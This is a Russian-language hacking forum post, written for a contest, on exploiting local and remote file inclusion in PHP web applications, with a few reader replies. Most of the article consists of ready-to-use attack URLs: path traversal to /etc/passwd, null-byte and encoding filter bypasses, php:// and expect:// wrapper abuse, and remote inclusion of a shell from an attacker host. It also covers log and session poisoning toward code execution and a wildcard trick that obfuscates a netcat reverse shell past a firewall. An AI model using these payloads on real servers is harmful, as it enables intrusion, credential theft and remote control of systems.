![]() |
Статья для участия в конкурсе Тестирование Веб-Приложений на проникновение
Приветствую Уважаемых Форумчан и Друзей. Статья помечена как конкурсная не только для того,чтобы новички представили разнообразие пентеста. А для вызова интереса и поддержки к участию в конкурсах. Прошу Вас не голосовать за данную статью.Вместо этого,лучше отдайте свой голос за участников-новичков. Ни с кем соревноваться не собираюсь,забирать призы тоже (Форум меня уже достаточно одарил). Я всего лишь скромный брат Великого античат ,у меня есть Братство Форума,его магия и конечно Ваше внимание. Linux Forever . Лишь Искусство вечно в этой жизни.Надеюсь на понимание. Поводом для написания статьи стал вопрос одного из Форумчан под статьёй о сканере,обнаруживающим уязвимости LFI. Чтобы не раскатывать в ответе обойму на много знаков,решил выписать всё в отдельный пост. И уж простите меня грешного,но картиночек не будет,извольте взглянуть сами при тестировании. А постить изображения только ради самих изображений,как-то не есть гуд , да и материал будет весьма специфичный. Многие эти способы могут понадобиться для раскручивания уязвимостей такого вида ручками. На Оскара не претендую,для кого-то методы будут известными,а некоторые,возможно, откроют для себя что-то новое,что вызовет у меня только добрые эмоции. Постараюсь поделиться небольшими знаниями благодаря коллегам из Азии, Black Hat, Red Team и соотечественникам. На премию Дарвина тоже рассчитывать не желаю,поэтому: Вся информация предназначена исключительно для ознакомления и изучения проблем безопасности. Категорически запрещено использование рассматриваемых методик в незаконных целях. Будьте разумными,милосердными и этичными. Краткая справка по уязвимостям LFI , RFI , RCE LFI-Local File Inclusion - подключения локальных файлов с выводом для чтения на стороне сервера.Пример уязвимого кода: Примеры обычного вызова такого скрипта: Код: Код:
1) http://сайт.домен/index.(тут не обязательно прям index,а необходимый параметр вам пригонит сканер)php?filename=config.php%00RFI-Remote file include - удалённое выполнение кода на сервере. Есть файл на сайте к примеру Код:
http://сайт.домен/index.htmlПример обычного вызова такого скрипта: Код: Код:
http://сайт.домен/index.php?color=http://сервер злоумышленника.домен/file-shell.phpRCE-Remote code execution- удалённое внедрение кода на сервере. Пример обычного вызова такого скрипта: Код:
http://сайт.домен/index.php?code=phpinfo();И конечно же многие из вас пробовали стандартные методы и получили такой же стандартный отлуп от тестируемых ресурсов. Автоматизированные инструменты также подкачали,что неудивительно. Самое время остановить работу инструментов и под пенный напиток засучить рукава. При этом ничего вас не должно отвлекать и сковывать движения,пальцы легко перемещаются по клавиатуре,дыхание ровное. (Если неровное,то возможно Вы забыли обсудить разрешение на то,что собираетесь делать,бегом за письменным разрешением)) Вначале помним,что производим разведку и просканировали на обнаружение директорий по-возможности. Дефолтные директории конечно на многих серверах остаются стандартными. (это чтобы не играть в угадайку до каких директорий и папок прорубать путь) Благодаря тем,у кого всё же возникают вопросы какие файлы искать для инклуда, вытаскивания,интереса. Вооот такие ленты появляются: Прежде чем перейти к методикам эксплуатацации LFI и RFI,необходимо отметить,что при наличии современной версии PHP 7.2 вопрос открытый. Сканеры могут обозначить уязвимый параметр скорее из-за какой-нибудь активной опасной директивы,но проэксплуатировать шанс ничтожно мал. В сфере ИБ исключаются утвердительные акценты(вероятность существования 0day),всё отсылается к интервалу времени. Это если говорить строго в прямых рамках рассматриваемых уязвимостей,без гибридных атак. Эксплуатация таких уязвимостей ,особенно RFI зависит от активных директив allow_url_include и allow_url_fopen в настройках файлов php.ini,php-apache.ini,php-cli.ini Местоположение таких файлов различное в системах , в зависимости от серверных модулей. К примеру, если есть файл php-SAPI.ini ,то вместо php.ini будет использован файл php-apache.ini Если все они активированы параметром ON-это увеличивает шанс успешной эскплуатации. Переходим к методам 1) Подкачка файла,параметр определения местоположения.Может сработать только в древних версиях PHP Способ реализуют при атаке серверов под управлением Linux Код: Код:
http: //сайт.домен/index.php?page=../../../../../../../../../../../../etc/passwdПуть до корневой директории может быть неблизким,но не перебарщивайте,в стратосферу улетать не надо. Но если заметили,что к запросу дописывается такое значение в конце: /etc/passwd.php ,либо иное значение, то пробуем без расширения .php,пусть оно само допишется и когда ничего не выходит,или дописывается что-то иное-бросайте этот метод. И да ,в системах BSD вот это вот /etc/passwd не ищите ,есть /etc/master.passwd в NetInfo directory и увидеть его может только суперпользователь. 2) Использование Null-byte Данный способ отлично помогает обойти многие фильтры Пример атак: Код: Код:
http://сайт.домен/page=../../../../../etc/passwd%00Применяется этот метод если версия PHP ниже 5.3 и когда в конце запроса дописывается как раз что-то иное, или расширение .php Другими словами, экранируется возможность применения Null-byte и в настройках magic_quotes_gpc=On , а не No А вам необходимо выдернуть файл с расширением .txt (а видим бесполезное в итоге file.txt.php). Добавляем строки /./. и здесь гектарами наполняем наш запрос в конце такими слешами. Почаще работаем клавишами Shift+Ctrl+C и Shift+Ctrl+V. Заодно показываю вам ,как одним запросом перевыполнить план на Форуме по количеству печатных знаков при написании статей. Здесь хоть до Марса,но не более 4096 символов -это лимит некоторых файловых систем UNIX. С Windows вообще-то не разгоняйтесь - там 255,260 символов.Часто достаточно где-то 200 симоволов при таком методе независимо от платформы. Вот, даже спорить не буду,сам боюсь запутаться,смотрим по этой части мегатонны очень полезной информации А есть ведь ещё лимиты символов в URL-адресе : Да и попробуйте ещё найти такую версию PHP,когда рулит сейчас PHP 7.2 и php5.6 вроде популярен. Но может быть и такое, что с Заказчиком пентеста Вам придётся оставить совет обновиться при себе и не спрашивайте почему. Вкратце, ваш многостроковый запрос при использовании этого метода может выглядеть так: Код: Код:
http://сайт.домен/index.php?page=../../../../../../../../../../../../etc/passwd/././././././././././././././Запрос должен заканчиваться точкой, а не слешем как в вышеприведённом примере. Увидели слеш в конце - добавьте в название директории букву или убавьте: Код: Код:
http://сайт.домен/index.php?page=vertigo/../../../../../../etc/passwd/././././././././././././././.Код: Код:
http://сайт.домен/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.Данные техники применяются как для LFI , так и RFI. Осторожно!! В этих техниках используются попытки внедрения мини-шеллов и вредоносных скриптов. В примерах приведены реальные атакующие скрипты,способные нанести непоправимый вред. Код: Код:
http://сайт.домен/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.phpВ случае успеха,перед вами выведется строка в base64,которую пытаемся декодировать что-то вроде: Код:
0KEg0YLQsNC60L7QuSDQu9GO0LHQvtC30L3QsNGC0LXQu9GM0L3QvtGB0YLRjNGOINCS0LDRgSDQttC00ZHRgiDQsdC+0LvRjNGI0L7QtSDQsdGD0LTRg9GJ0LXQtQ==data:URI schema Версия php больше или равна 5.2 allow_url_fopen и allow_url_include активны. Wrapper zip:// Данный вариант основан на обработке ZIP Wrapper загруженных файлов за счёт возможности активной функции загрузки. Также здесь используется почтовый фильтр через LFI. Смысл атаки в создании reverse-shell в сжатом виде,загрузке на атакуемый ресурс с последующим его вызовом. Wrapper expect:// Попытка выполнения системных команд Но модуль PHP expect может быть выключен (если оставлен по-умолчанию) Код: Код:
http://сайт.домен/index.php?page=expect://idРасчёт на наличие у приложения класса AnyClass с активным destruct (),wakeup () Модуль присутствует по умолчанию в PHP,а сам пакет файлового архива аналогичен файлу jar на Java, который облегчает миграцию модулей PHP. Следим при создании файла phar,чтобы параметр phar.readonly был выключен,иначе файл не запишется. После запуска нижеуказанного вредоносного кода в текущем каталоге будет создан файл с именем shell.phar. Этот файл может быть использован include file_get_contents и другими функциями. Например, имя загруженного файла ограничено. И мы не сможем загрузить файл php (имя суффикса ограничивается включением «$ file», . php '). Поэтому и грузим phar и затем тут же переходим к использованию методу с php://filter . В Азии совместное применение этих техник почему-то называется "Использование псевдопротокола". glob://Попытка обхода каталога,Поиск шаблонов путей сопоставления файлов. Wrapper input:// На ресурсе должна быть активирована allow_url_include Указываем полезную нагрузку в POST-параметрах: 5) Используем для обхода фильтров Double url-encoding - неотъемлимая составляющая в эксплуатации LFI. Союзниками такого способа являются уязвимости Path Traversal и Directory traversal Атака: Код: Код:
http://сайт.домен/index.php?page=%252e%252e%252fetc%252fpasswd%00Для эксплуатации RFI характерны похожие векторы атак с применением Null byte: Атака Код: Код:
http://сайт.домен/index.php?page=http://ресурс_атакующего/shell.txt%00Код: Код:
http://сайт.домен/index.php?page=http:%252f%252fресурс_атакующего%252fshell.txtРаскручиваем LFI до RCE 1) Условием является успешное включение через LFI /proc/self/environВводится исходный код с помощью заголовка User Agent, после чего используем LFI, пытаемся включить на ресурсе /proc/self/environ Это позволяет перезагрузить переменные среды, выполнив reverse shell. Простая реализация: 2) С помощью загрузок.Здесь есть несколько разновидностей,все они касаются залития вариантов shell. 3) С помощью PHP sessions Путь сохранения файла сеанса php можно увидеть в phpinfo session.save_path. Формат имени cессии - sess_ [phpsessid]. И phpsessid мы должны контролировать,что можно увидеть в поле cookie отправленного и захваченного в Burpsuite запроса. Пора ,кстати , дать передышку рукам и подключить для этого Burpsuite. Атака относится к труднореализуемым,т.к. не всё возможно контролировать поскольку сеансы имеют временный характер и связаны с tmp. Хранилища для php-сеанса: Код: Код:
var/lib/php/sess_PHPSESSIDВводится исходный код в файлы журнала в целевой системе через открытые службы. Одним из способов является отправка reverse-shell в URL-адрес, тогда syslog запишет в журнал apache ошибку( код 404-страницы не найденной записи). Затем используют утилиту Netcat для вызова загруженного shell . Пожалуй,один из немногих методов,который использует включенное журналирование (при выключенном ,ясное дело,не сработает). Техника обхода WAF для эксплуатации LFI RCE Методика основана на особенностях синтаксиса bash и шаблонов, позволяющая обойти серьёзные настройки защиты.К примеру,WAF настроен к блокировке запросов на /bin/ls и /etc/passwd как внутри значения параметра GET,так и в теле POST Если сделать запрос типа /?cmd=cat+/etc/passwd,то навороченная WAF заблокирует не только выполнение запроса,но и ваш IP. Используя в запросе подстановочные символы,шанс выполнения этого же запроса резко возрастает: Код:
/?cmd=%2f???%2f??t%20%2f???%2fp??s??Что за метод из приколов в терминале, скажете вы.Кому приколы , а кому с помощью Netcat ,Curl и Wget так вызывается беспрепятственно обратная оболочка. Или вталкивается shell и эксплуатируется RCE. Например,если у себя вызвать reverse shell командой Код:
nc -e /bin/bash 127.0.0.1 1337можно добиться того же результата применив синтаксис: Код:
/???/n? -e /???/b??h 2130706433 1337Это стоит увидеть,Ребята, с иллюстрациями,к тому же это большое исследование автора,вызвавшее шок среди безопасников. Проверены все уровни настроек WAF, вплоть до параноидальных с попытками обхода защиты c результатами. Кое-где аккуратненько перепечатывают посты,мы не будем этим заниматься. Поэтому читаем оригиналы и наслаждаемся здесь и продолжение (Если у кого проблемы с английским,могу кинуть свежие ссылки на китайском,с которого для себя перевёл одну из этих статей)) Что нового? 1) При создании приватных нагрузок для успешной эксплуатации LFI для чтения конфигурационных файлов применяется следующий каркас:Код:
..\//..\//..\//{payload}\;%00С применением такого каркаса недавно взломали сайт одного из мировых ритейлеров. 2) Пока готовил материал, насмотрелся разного, хорошо что не страдаю страстью к дорогим гаджетам. Владельцы Apple скоро будут читать наверное новости о уязвимостях,позволяющие читать приватную информацию за счёт эскалации привелегий. Не уклоняясь от темы: из последних уязвимостей RCE носит обозначение CVE-2018-8495 Касается она Windows Server 2016, Windows 10, Windows 10 Servers. Реализацию эксплуатации можно наглядно увидеть здесь 3) И из категории 0dayэтого месяца конкретно по RCE,есть проблема с РПДУ Juuko jk-800 Который используется в промышленности . Также актуальна на текущую дату сентябрьская CVE-2018-8423 для Windows. Уязвимость позволяет злоумышленникам выполнять удалённо произвольный код на Microsoft Windows. Реализация её требует взаимодействия с пользователем, который посещает вредоносную страницу и открывает вредоносный файл. На этом у меня всё,Благодарю за внимание, да прибудут с вами высшие силы терминала. |
Ознакомился со статьёй, исключительно из этичных соображений. Весьма заинтересовало. Не могли бы Вы подсказать, в каком разделе данного форума я могу ознакомиться с азами этой темы (либо книгу)? Заранее благодарен.
|
Цитата:
На форуме есть ещё тема ,с которой стоит ознакомиться. [Новичкам] LFI или как открывать произвольный файл на сервере. В основном конечно,ютуб-лучшее наглядное пособие,где Вы можете найти очень много роликов . Искать нужно насколько возможно свежие ролики,либо из доверенных источников (как пособие). Потому что информация должна откладываться свежей,а не устаревшей и не бойтесь изучать со сложного. Ссылки Вам приведу конечно , нет проблем разумеется по актуальным азам. |
Приветствую! Отличная статья! Можно чуть подробнее остановится на RCE уязвимостях. В идеале конечно не с лабораторными а реальными примерами,так проще усваивается )
Например сканнер из вашей предыдущей статьи нашёл вот такую ссылку : https://www.test.ru//index.php?page=../../../etc/passwd Каким инструментом вы пользуетесь для перехода,просто в строке браузера ? Что я должен увидеть при успешной эксплуатации ? |
Цитата:
|
растешь, Бро)) Респект!!
|
| Время: 23:40 |